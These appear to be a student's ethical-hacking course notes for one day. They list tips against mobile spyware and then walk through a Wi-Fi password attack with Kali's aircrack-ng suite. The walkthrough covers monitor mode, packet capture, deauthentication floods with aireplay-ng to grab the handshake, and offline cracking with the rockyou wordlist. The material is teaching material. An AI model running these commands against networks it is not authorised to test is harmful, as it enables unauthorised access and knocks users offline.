**DAY 26**

**PART 1**

Revision of Hacking mobile platforms

**PART 2**

Prevention of mobile hacking:

1. Regularly check your installed applications

2. SEP mobile application by semantic

3. Battery drains faster

4. Increase in internet data usage

5. Incognito app (spyware detector)

6. Anti malware

7. Data usage monitor

8. Physical security

9. Juice jacking

Hacking Wireless Networks:

Wifi routers:

1. Rougue attack

2. Evil twin attack

Password cracking techniques:

1. Default passwords

2. Brute force

3. Password guessing

4. Rainbow table attack

Kali linux tools used:

1. airmon-ng

2. airodump-ng

3. aireplay-ng

4. aircrack-ng

Scenario:

1. By default the wifi adapters will be in access point mode (receiver)

2. The hacker needs to convert the wifi adapter to monitor mode (capture the data packets to identify the wireless devices within the radius).

3. The hacker needs to capture and dump the data packets into a file

airodump -ng

4. The attacker targets a wifi hotspot device/ wifi router

5. The targeted router/device should have one or more connected devices

6. Using aireplay-ng the hacker performs DOS on the connected devices or the router to make the devices disconnect from the network forcibly.

7. Now the connected devices try to connect back to the hotspot with password data packet and as the data packet will captured in the background. Now the hacker have the encrypted password packet

8. Hacker stops the dumping

Note:

🡪To connect the virtual machine to wifi you need an external wifi adapter

1. TP link TL-WN823V1

2.FRONTECH 802.11N

It should be compatible with linux kernal >2.4.\*

-sudo su

-airmon-ng check kill

-airmon-ng start wlan0

-airodump-ng wlan0mon

-airodump-ng –bssid <macaddress> -c 11 -W EUI wlan0mon

-aireplay-ng -a <bssid> –deauth <count> wlan0mon

There is a password file already available in kali linux in the path:

usr/share/wordlists/rockyou.txt.gz

To unzip:

gunzip <path>

-aircrack-ng -b <bssid> -w <wordlist path> <cap file>

To change adaptor into access point mode

-airmon-ng stop wlan0mon

-service network-manager start

-service networking start